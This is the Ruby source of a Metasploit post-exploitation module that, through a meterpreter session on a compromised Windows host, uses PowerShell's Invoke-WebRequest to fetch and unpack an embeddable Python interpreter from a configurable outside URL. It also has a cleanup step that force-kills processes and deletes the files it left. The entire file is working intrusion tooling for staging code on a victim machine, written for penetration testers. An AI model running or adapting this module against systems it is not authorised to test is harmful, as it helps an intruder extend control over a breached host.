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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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  include Msf::Post::Common
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  include Msf::Post::File
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  include Msf::Post::Windows::Powershell
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Install Python for Windows',
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        'Description' => %q{
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          This module places an embeddable Python3 distribution onto the target file system,
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          granting pentesters access to a lightweight Python interpreter.
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          This module does not require administrative privileges or user interaction with
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          installation prompts.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => ['Michael Long <bluesentinel[at]protonmail.com>'],
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        'Arch' => [ARCH_X86, ARCH_X64],
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        'Platform' => [ 'win' ],
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        'SessionTypes' => [ 'meterpreter'],
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        'References'	=> [
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          ['URL', 'https://docs.python.org/3/using/windows.html#windows-embeddable'],
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          ['URL', 'https://attack.mitre.org/techniques/T1064/']
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        ],
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [],
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          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('PYTHON_VERSION', [true, 'Python version to download', '3.8.2']),
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        OptString.new('PYTHON_URL', [true, 'URL to Python distributions', 'https://www.python.org/ftp/python/']),
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        OptString.new('FILE_PATH', [true, 'File path to store the python zip file; current directory by default', '.\\python-3.8.2-embed-win32.zip']),
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        OptBool.new('CLEANUP', [false, 'Remove module artifacts; set to true when ready to cleanup', false])
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      ]
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    )
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  end
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  def run
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    python_folder_path = File.basename(datastore['FILE_PATH'], File.extname(datastore['FILE_PATH']))
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    python_exe_path = "#{python_folder_path}\\python.exe"
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    python_url = "#{datastore['PYTHON_URL']}#{datastore['PYTHON_VERSION']}/python-#{datastore['PYTHON_VERSION']}-embed-win32.zip"
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    # check if PowerShell is available
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    psh_path = '\\WindowsPowerShell\\v1.0\\powershell.exe'
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    unless file? "%WINDIR%\\System32#{psh_path}"
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      fail_with(Failure::NotVulnerable, 'No powershell available.')
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    end
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    # Cleanup module artifacts
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    if datastore['CLEANUP']
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      print_status('Removing module artifacts')
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      script = 'Stop-Process -Name "python" -Force; '
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      script << "Remove-Item -Force #{datastore['FILE_PATH']}; "
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      script << "Remove-Item -Force -Recurse #{python_folder_path}; "
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      psh_exec(script)
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      return
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    end
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    # download python embeddable zip file
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    script = '[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;'
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    script << "Invoke-WebRequest -Uri #{python_url} -OutFile #{datastore['FILE_PATH']}; "
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    print_status("Downloading Python embeddable zip from #{python_url}")
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    psh_exec(script)
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    # confirm python zip file is present
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    unless file? datastore['FILE_PATH']
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      fail_with(Failure::NotFound, "Failed to download #{datastore['PYTHON_URL']}")
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    end
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    # extract python embeddable zip file
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    script = "Expand-Archive #{datastore['FILE_PATH']}; "
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    print_status("Extracting Python zip file: #{datastore['FILE_PATH']}")
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    psh_exec(script)
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    # confirm python.exe is present
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    unless file? python_exe_path
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      fail_with(Failure::NotFound, python_exe_path)
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    end
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    # display location of python interpreter with example command
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    print_status('Ready to execute Python; spawn a command shell and enter:')
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    print_good("#{python_exe_path} -c \"print('Hello, world!')\"")
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    print_warning('Avoid using this python.exe interactively, as it will likely hang your terminal; use script files or 1 liners instead')
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  end
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end
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